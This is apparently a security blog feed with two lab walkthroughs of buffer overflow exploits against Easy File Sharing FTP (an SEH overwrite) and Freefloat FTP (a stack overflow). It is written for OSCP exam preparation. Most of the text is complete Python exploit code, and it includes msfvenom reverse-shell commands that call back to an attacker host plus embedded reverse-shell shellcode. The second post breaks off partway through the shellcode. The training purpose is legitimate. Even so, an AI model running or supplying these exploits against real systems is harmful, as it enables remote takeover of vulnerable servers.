Reviewing the NIST NVD CVE-2006-3952 we can see it’s the PASS parameter that is susceptible to the overflow so, that’s where we will start our exploit. But, before writing any code, I need to mention one last thing. The Easy File Sharing FTP PASS parameter does not overflow when given a large amount of data. It overflows when a special character is present at the front of the overflow data. In this case a “,” or 0x2c. In attempting to understand why we need a 0x2c, I started talking to the original exploit writer. Here is the Twitter Conversation. Long story Short, he found it during fuzzing the application with Peach. Peach is definitely something I need to learn how to use. Anyhow, let’s look at the exploit code so far.

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:		     #
# By: @JFaust0						     #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21

# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

buf = ""
buf += "\x2c"
buf += "A"*2800
s.send("PASS " + buf + "\r\n")
print(s.recv(1024)) 

s.close()

Our payload (buf) starts with a 0x2c to trigger the exception and therefore setting the SEH chain in action in attempts to recover or exit the process cleanly. However, we also supplied 2800 A’s (ox41) which, overflows the SEH handler and address. Let’s take a closer look at the crash itself.

[hr]

Reviewing the Crash:

When we run the python script, the program hangs (as expected). But let’s take a look at the before and after of both the register values and the SEH chain addresses.

NOTE: To view the SEH Chain in Immunity (view–> SEH Chain or alt+s)

BEFORE

SEH Addresses Before Overflow

Register Values Before Overflow

[hr_invisible]

AFTER

SEH Addresses After Overfloww

Register Values After Overflow

Sweet! We overwrote the SE Handler. This means that we can write our own address in the SE handler for address 0x0106ADD0 and possibly control execution flow. Another point to mention is the value of EAX. It looks like we overwrote EAX as well with our A’s.

[hr]

Controlling the SEH Address:

We need to find the offset of the SEH address that we overwrote. We are going to use the same exact method as we would in finding the offset of EIP by using a random pattern. However, instead of using the create_pattern.rb that’s native in Kali, let’s use the Mona script to do it for us.

  • !mona pc 3000
    • Generates 3000 bytes of data that we will plug into our script.

The new script now looks like this:

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:		     #
# By: @JFaust0						     #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21

# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9")

buf = ""
buf += "\x2c"
buf += pattern
s.send("PASS " + buf + "\r\n")
print(s.recv(1024)) 

s.close()

Execute the script and then, use Mona once again to check for the offsets.

  • !mona findmsp
    • This will find the cyclic pattern that we introduced in our overflow and calculate the offsets as shown below.

Find the Pattern Offsets

Here is what we found:

  • SEH offset: 2559
  • EAX Register offset: 2603

Fantastic! Let’s set those offsets as variables in our python script, overwrite the SEH address with B’s and see how many C’s we can write thereafter.

[hr]

Checking for Bad Characters:

We next need to check for bad characters. The code below will do two things:

  1. Generate a character array of bad characters excluding characters that are known to be bad (i.e., 0x00, 0x0a)
  2. Send the character array in the buffer overflow as well as save to a binary file on disk that can be transferred and use by Mona.

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:		     #
# By: @JFaust0						     #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21
SEH_OFFSET = 2559
EAX_OFFSET = 2603


# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# BAD CHARACHERS
chars = ""
bad_chars = [0x00, 0x0A]
for i in range(0x00,0xff+1):
    if i not in bad_chars:
	chars += chr(i)
with open("bad_chars.bin", "wb") as f:
    f.write(chars)


# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

buf = ""
buf += "\x2c"
buf += "A"*2100
buf += chars
buf += "B" * 700

s.send("PASS " + buf + "\r\n")
print(s.recv(1024)) 

s.close()

Once we send the new code to the FTP server, the server will throw an exception as usual and Immunity will pause the program and we can then investigate which characters, if any, are bad. So, we send the code and find the place in memory where our characters are located:

Characters in Memory

Upon initial investigation, it looks like all the characters we sent are there meaning the only two characters we should omit are the ox00 and ox0a. However, just to be safe, let’s use mona to check and verify our findings. We see that our chracters start at 0x0106AC04. We can point mona to this location in memory and issue the compare command where the bad_char.bin is an input.

Mona Bad Characters

Mona points out 0x01 is a possible bad character, however, we know from the image above that 0x01 is fine since the output (03020141) at memory location 0x0106AC04 displays it just fine. So, that means the only two characters that we will consider bad are 0x00 and 0x0a.

[hr]

Controlling Code Execution:

We’ve been able to overflow the PASS buffer, found the offset of the SEH handler (Of which we need to add 4 bytes to fill the address space), and are now ready to test if we can, in fact, write B’s into the SE Handler position.

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:		     #
# By: @JFaust0						     #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21
SEH_OFFSET = 2559
EAX_OFFSET = 2603


# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

buf = ""
buf += "\x2c"
buf += "A" * (SEH_OFFSET + 4)		# Overwrite Address
buf += "B" * 4				# Overwrite SE handler
buf += "C" * 700			# Padd with C's

s.send("PASS " + buf + "\r\n")
print(s.recv(1024)) 

s.close()

After running the above script and looked at the SEH values again, we see that the SE handler has been overwritten with our four (4) B’s

Overwritten SEH

That’s Great but, let’s see what happens by hitting shft+F8 to move to the next instruction. We move a total of 5 instructions and EIP then changes to the SEH handlers address of B’s. This just further proves that we will be able to obtain code execution.

[hr]

POP POP RET:

In a simple stack buffer overflow, we would want to find an address with the instructions JMP ESP and use such an address to overwrite the EIP register to directory jump to our shellcode. With SEH, it’s a bit different. We are looking for a sequence of instructions POP POP RET. We also have to find a memory address with these instructions that have no bad characters and does not have ASLR or DEP protections. Lucky for us, the SSLEAY32.dll is perfect. We figured this out by using mona once again to review all loaded modules as seen below.

Mona Modules

Mona also makes it very simple to check for the pop pop ret. We tell mona to check for SEH pointers within the module SSLEAY32.dll: !mona seh -m ssleay32.dll

SEH Pointers with Mona

Looking at the results we grab an address that does not have bad characters and continue on. In this case, I will use 0x10017f21 to overwrite the SEH handler. Let’s modify our code to replace our B’s with the new POP POP RET address and review where it puts us in regards to our C’s (aka: future shellcode).

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:		     #
# By: @JFaust0						     #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21
SEH_OFFSET = 2559
EAX_OFFSET = 2603
POP_ADDR = "\x21\x7f\x01\x10" 			# 0x10017f21

# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

buf = ""
buf += "\x2c"
buf += "A"* (SEH_OFFSET +4)
buf += POP_ADDR
buf += "C" * 500

s.send("PASS " + buf + "\r\n")
print(s.recv(1024)) 

s.close()

We run the code, and check the SEH handler address and would you look at that, it points to SSLEAY32.

SSLEAY32.dll SEH Handler Overwrite

By following the instructions (i.e., hitting SHFT+F8 and 4 subsequent F8’s) We can see where we will land in memory after the POP POP RET. It looks like it put us a few bytes above the start of our C’s. AWESOME! That’s where we are going to place our shellcode anyhow. First, take a look at the instruction we landed at AND DWORD PTR DS:[EDI+1], EDI. 

POP POP RET Landing

This needs to be taken into account as we are not going to jump directly to our shellcode since there are some junk instructions before where our shellcode will be placed. We can mitigate this by adding in a jmp command by decrementing 4 bytes from our A’s and adding in the x86 jmp instruction (in hex). We’re going to jump 10 bytes forward, into a nop sled that leads to our shellcode. First, let’s get the bytecode of our jmp 10. Looking at the X86 instruction set we can see that a short jump is hex EB and we want to jump 10 bytes so our new instruction is \xEB\x10\x90\x90. The two nop bytes at the end are used as we need a total of four bytes to fill the memory location.

[hr]

Catch a Shell:

Let’s generate some shellcode, add the jmp 10 instruction and the shellcode to our buf variable, at a 20-byte nop sled, and set up a netcat listener.

  • msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.21.130 LPORT=443 -b ‘\x00\x0a’ -f c

#------------------------------------------------------------#
# Easy File Sharing FTP SEH BOF Example:                     #
# By: @JFaust0                                               #
#------------------------------------------------------------#

import socket

IP = '192.168.21.129'
PORT = 21
SEH_OFFSET = 2559
EAX_OFFSET = 2603
POP_ADDR = "\x21\x7f\x01\x10"                   # 0x10017f21

JMP10 = "\xeb\x10\x90\x90"
shellcode = ("\xd9\xc8\xd9\x74\x24\xf4\xb8\x64\xa2\xd6\xb0\x5b\x33\xc9\xb1"
"\x52\x31\x43\x17\x03\x43\x17\x83\xa7\xa6\x34\x45\xdb\x4f\x3a"
"\xa6\x23\x90\x5b\x2e\xc6\xa1\x5b\x54\x83\x92\x6b\x1e\xc1\x1e"
"\x07\x72\xf1\x95\x65\x5b\xf6\x1e\xc3\xbd\x39\x9e\x78\xfd\x58"
"\x1c\x83\xd2\xba\x1d\x4c\x27\xbb\x5a\xb1\xca\xe9\x33\xbd\x79"
"\x1d\x37\x8b\x41\x96\x0b\x1d\xc2\x4b\xdb\x1c\xe3\xda\x57\x47"
"\x23\xdd\xb4\xf3\x6a\xc5\xd9\x3e\x24\x7e\x29\xb4\xb7\x56\x63"
"\x35\x1b\x97\x4b\xc4\x65\xd0\x6c\x37\x10\x28\x8f\xca\x23\xef"
"\xed\x10\xa1\xeb\x56\xd2\x11\xd7\x67\x37\xc7\x9c\x64\xfc\x83"
"\xfa\x68\x03\x47\x71\x94\x88\x66\x55\x1c\xca\x4c\x71\x44\x88"
"\xed\x20\x20\x7f\x11\x32\x8b\x20\xb7\x39\x26\x34\xca\x60\x2f"
"\xf9\xe7\x9a\xaf\x95\x70\xe9\x9d\x3a\x2b\x65\xae\xb3\xf5\x72"
"\xd1\xe9\x42\xec\x2c\x12\xb3\x25\xeb\x46\xe3\x5d\xda\xe6\x68"
"\x9d\xe3\x32\x3e\xcd\x4b\xed\xff\xbd\x2b\x5d\x68\xd7\xa3\x82"
"\x88\xd8\x69\xab\x23\x23\xfa\x14\x1b\x3e\x78\xfc\x5e\x40\x7d"
"\x46\xd7\xa6\x17\xa8\xbe\x71\x80\x51\x9b\x09\x31\x9d\x31\x74"
"\x71\x15\xb6\x89\x3c\xde\xb3\x99\xa9\x2e\x8e\xc3\x7c\x30\x24"
"\x6b\xe2\xa3\xa3\x6b\x6d\xd8\x7b\x3c\x3a\x2e\x72\xa8\xd6\x09"
"\x2c\xce\x2a\xcf\x17\x4a\xf1\x2c\x99\x53\x74\x08\xbd\x43\x40"
"\x91\xf9\x37\x1c\xc4\x57\xe1\xda\xbe\x19\x5b\xb5\x6d\xf0\x0b"
"\x40\x5e\xc3\x4d\x4d\x8b\xb5\xb1\xfc\x62\x80\xce\x31\xe3\x04"
"\xb7\x2f\x93\xeb\x62\xf4\xa3\xa1\x2e\x5d\x2c\x6c\xbb\xdf\x31"
"\x8f\x16\x23\x4c\x0c\x92\xdc\xab\x0c\xd7\xd9\xf0\x8a\x04\x90"
"\x69\x7f\x2a\x07\x89\xaa")

# Create an TCP Connection to FTP Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
print(s.recv(1024))

# Start to Fuzz the PASS Param
print("[+] Fuzzing PASS Parameter")
s.send("USER anonymous\r\n")
print(s.recv(1024))

buf = ""
buf += "\x2c"
buf += "A"* (SEH_OFFSET)
buf += JMP10
buf += POP_ADDR
buf += "\x90" * 20
buf += shellcode

s.send("PASS " + buf + "\r\n")
print(s.recv(1024))

s.close()

And…. We’re In!. That’s all she wrote.

Catching the Shell

EasyFileSharing FTP SEH Buffer Overflow
Joshua

]]>
https://sevrosecurity.com/2018/08/28/easyfilesharing-ftp-seh-buffer-overflow/feed/ 0
Freefloat FTP Remote Buffer Overflow https://sevrosecurity.com/2018/08/04/freefloat-ftp-remote-buffer-overflow/ https://sevrosecurity.com/2018/08/04/freefloat-ftp-remote-buffer-overflow/#respond Sat, 04 Aug 2018 16:46:38 +0000 https://sevrosecurity.com/?p=1007 Sevro Security
Freefloat FTP Remote Buffer Overflow

60 Days of OSCP labs have come and gone. That was fast and honestly, probably not enough time. I made it through the entire PDF and was able to compromise several machines on the OSCP lab network but I might end up purchasing another 15-30...

Freefloat FTP Remote Buffer Overflow
Joshua

]]>
Sevro Security
Freefloat FTP Remote Buffer Overflow

60 Days of OSCP labs have come and gone. That was fast and honestly, probably not enough time. I made it through the entire PDF and was able to compromise several machines on the OSCP lab network but I might end up purchasing another 15-30 days for Windows priv-esc practice. My exam is scheduled for the beginning of September and in the meantime, I am working on buffer overflows. I think that’s where the next few posts are going to focus on because once you start to understand them, it’s so much damn fun!

The rest of this post is going to focus on the Freefloat FTP Remote Buffer Overflow. This is a basic Stack overflow that is about as simple as it gets. In the next post, we will look at SEH overflows.

[hr]

System Information:

Victim: Windows XP SP3 running Freefloat FTP

Attacker: Kali 2017.2 PWK 32 bit version

[hr]

FTP Fuzzing:

As with all the BOF’s that I will be going through, I will be using Python3 as my language of choice. We could manually probe the FTP server but, what’s the fun in that… We want to use python to do most of the legwork for us. We know that the USER parameter is vulnerable but, let’s not assume anything at this time. Let’s actually fuzz the application.

Note: When I say Fuzz, I mean send incrementing packets of data to the USER and PASS FTP parameters to see if we overflow and crash the application.

User FTP Parameter Fuzzing

After we sent 300 Bytes of A’s, the FTP server crashed. Let’s take a look at Immunity to see if we overwrite the EIP register with the A’s that we sent.

EIP Overwrite

Perfect, EIP is now 41414141 and since 0x41 = A, we have successfully overwritten the EIP register.

[hr]

Observing the Overflow and Controlling EIP:

We have overflown the USER FTP parameter and have overwritten the EIP register with 0x41 (A). The next step is to find the offset of the EIP register in order to gain full control of it to obtain code execution. Let’s start building our python script.

Let’s first generate a unique string using pattern_create.rb so we can obtain the offset of the EIP register.  We know the overflow happened around 300 Bytes so, we will use that as our string length.

Generate String with pattern_create.rb

Now we will add that string to our Python script:

import socket


IP = "192.168.56.130"
PORT = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to FTP Server:
print("[+] Connecting to FTP Server")
s.connect((IP, PORT))
data = s.recv(1024)
print(data)

# Overflow USER Parameter
print("[+] Overflowing USER Paramter")
buf = ""
buf += """Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"""

s.send("USER " + buf + "\r\n")

# Close the connection
s.close()

Restart the FTP server in Immunity and send the new payload. After sending the payload, take a look at the EIP value as that is going to be the value we will use to find out EIP offset.

EIP Offset

The EIP value is 37684136. We can then feed this into pattern_offset.rb to get our true EIP offset.

EIP Offset

The EIP offset is 230 which means we now need to check if we, in fact, have full control over the EIP register. We will do this by sending 230 A’s and 4 B’s followed by 500 C’s. This data should overflow the buffer with the A’s, write only B’s to the EIP register, and then write arbitrary C’s after. The C’s are important as they will dictate whether we can use the space after the overflow to add our exploit shellcode. We’ll look at that in a second.

import socket


IP = "192.168.56.130"
PORT = 21

EIP_OFFSET = 230

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to FTP Server:
print("[+] Connecting to FTP Server")
s.connect((IP, PORT))
data = s.recv(1024)
print(data)

# Overflow USER Parameter
print("[+] Overflowing USER Paramter")
buf = ""
buf += "A" * EIP_OFFSET
buf += "B" * 4
buf += "C" * 500

s.send("USER " + buf + "\r\n")

# Close the connection
s.close()

Again, restart the FTP server in Immunity and send the new payload.

Full control of EIP

Looking at the value of EIP, we see it’s 0x42 which is B. Awesome! We have full control over EIP. The next thing we want to look at is the number of C’s that were written after we overwrote the EIP register. We can do this very easily with Immunity by double-clicking the first memory address that contains C’s and following the C’s until they terminate. This will give us the Hex value of the total number of C’s within the buffer.

In my case, the C’s stop at 0x1F0 which in base 10 is 496. This means we have 496 Bytes of available space to place our exploit. A usual exploit is around 250-350 Bytes so, we have more than enough room.

[hr]

Checking for Bad Characters:

Before we can continue, we should check for bad characters. Applications can at times have specific use cases for different characters and as such, we need to check for those bad characters as they may hinder our exploit code from working. The python script now has functionality that creates all the characters, adds them to the buffer overflow payload, and saves the characters to a binary file that will be used by the Python Mona script to look for known bad characters.

Note 0x00, 0x0a, and 0x0d are common bad characters so we exclude those from the very beginning.

import socket


IP = "192.168.56.130"
PORT = 21

bad_chars = [0x00, 0x0a, 0x0d]
chars = ""
EIP_OFFSET = 230

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to FTP Server:
print("[+] Connecting to FTP Server")
s.connect((IP, PORT))
data = s.recv(1024)
print(data)

# Generate Characters:
for i in range(0x00, 0xFF+1):
    if i not in bad_chars:
	chars += chr(i)

with open("bad_chars.bin", "wb") as f:
    f.write(chars)

# Overflow USER Parameter
print("[+] Overflowing USER Paramter")
buf = ""
buf += "A" * EIP_OFFSET
buf += "B" * 4
buf += "C" * 8
buf += chars

s.send("USER " + buf + "\r\n")

# Close the connection
s.close()

The buffer has been overflown and now we can check for the bad characters using the mona script.

Bad Character Results

The only bad characters found are those we removed from the beginning. We will make sure to exclude those characters when building our shellcode.

[hr]

Finding JMP ESP:

Let’s go back to us having control over EIP. Long story short, EIP holds the address of the next instruction to be executed (i.e. Instruction Pointer). That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make damn well sure that the EIP points to the location in memory where our shellcode will be located. This is the tricky part due to multithreading and dynamic memory address allocation meaning memory addresses change all the time! But, we know that we are writing our shellcode directly to the Stack and as long as we can get back to the bottom of the stack (i.e. ESP) our shellcode can execute.

Our goal:

  • Find a JMP ESP instruction that has a static address (Commonly in DLL’s), has no bad characters within its memory address, and does not have ASLR or DEP protections.

Fortunately for us, Mona makes this a breeze.

  1. First, let’s look at the modules that have been loaded for this FTP server and check to see if there are any that are unprotected.

    Find Modules with Mona

  2. Find the Opcode of JMP ESP

    Find opcode of JMP ESP

  3. Search for JMP ESP in the module and record the memory address

    Find JMP ESP in SHELL32.dll

We found that SHELL32.dll module was being used and does not have ASLR protection. We then found the opcode of JMP ESP in order to search for the instruction. We then searched for the JMP ESP instruction within the SHELL32.dll module and found several possible addresses. Remember, we need an address that does not contain bad characters. In this case, I will use the first memory address 0x7cbd51fb.

[hr]

Verify JMP ESP Execution:

Before generating shellcode, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. The difference being, we will place a breakpoint at the JMP ESP memory address to verify that the program pauses and therefore proves we have redirected code execution.

Note the memory address 0x7cbd51fb has to be translated into little endian (i.e. Least Significant bit to Most Significant bit). Review this if this is new to you.

  1. Place the Breakpoint by selecting memory address and hitting F2.

    Add Breakpoint

  2. Amend the Python script to overwrite EIP with the JMP ESP address.
    import socket
    
    
    IP = "192.168.56.130"
    PORT = 21
    
    EIP_OFFSET = 230
    JMP_ESP = "\xFB\x51\xBD\x7C"			# 0x7CBD51FB
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # Connect to FTP Server:
    print("[+] Connecting to FTP Server")
    s.connect((IP, PORT))
    data = s.recv(1024)
    print(data)
    
    # Overflow USER Parameter
    print("[+] Overflowing USER Paramter")
    buf = ""
    buf += "A" * EIP_OFFSET
    buf += JMP_ESP
    buf += "C" * 500
    
    s.send("USER " + buf + "\r\n")
    
    # Close the connection
    s.close()
  3. Execute and verify program pause at JMP ESP proving we now have full control.

[hr]

Generating our Exploit Shellcode:

The last thing we need to do is generate our shellcode, add it to the Python script, and catch the shell!

  1. Generate shellcode with msfvenom (remember to exclude the bad characters 0x00, 0x0a, 0x0d).
    1. msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.131 LPORT=443 -b ‘\x00\x0A\x0D’ -f c

      Generate Shellcode

  2. Copy shellcode to Python Script.
    import socket
    
    
    IP = "192.168.56.130"
    PORT = 21
    
    EIP_OFFSET = 230
    JMP_ESP = "\xFB\x51\xBD\x7C"                    # 0x7CBD51FB
    SHELLCODE = ("\xba\x2f\x70\xa4\x53\xdb\xdc\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
    "\x52\x31\x56\x12\x03\x56\x12\x83\xc1\x8c\x46\xa6\xe1\x85\x05"
    "\x49\x19\x56\x6a\xc3\xfc\x67\xaa\xb7\x75\xd7\x1a\xb3\xdb\xd4"
    "\xd1\x91\xcf\x6f\x97\x3d\xe0\xd8\x12\x18\xcf\xd9\x0f\x58\x4e"
    "\x5a\x52\x8d\xb0\x63\x9d\xc0\xb1\xa4\xc0\x29\xe3\x7d\x8e\x9c"
    "\x13\x09\xda\x1c\x98\x41\xca\x24\x7d\x11\xed\x05\xd0\x29\xb4"
    "\x85\xd3\xfe\xcc\x8f\xcb\xe3\xe9\x46\x60\xd7\x86\x58\xa0\x29"
    "\x66\xf6\x8d\x85\x95\x06\xca\x22\x46\x7d\x22\x51\xfb\x86\xf1"
    "\x2b\x27\x02\xe1\x8c\xac\xb4\xcd\x2d\x60\x22\x86\x22\xcd\x20"
    "\xc0\x26\xd0\xe5\x7b\x52\x59\x08\xab\xd2\x19\x2f\x6f\xbe\xfa"
    "\x4e\x36\x1a\xac\x6f\x28\xc5\x11\xca\x23\xe8\x46\x67\x6e\x65"
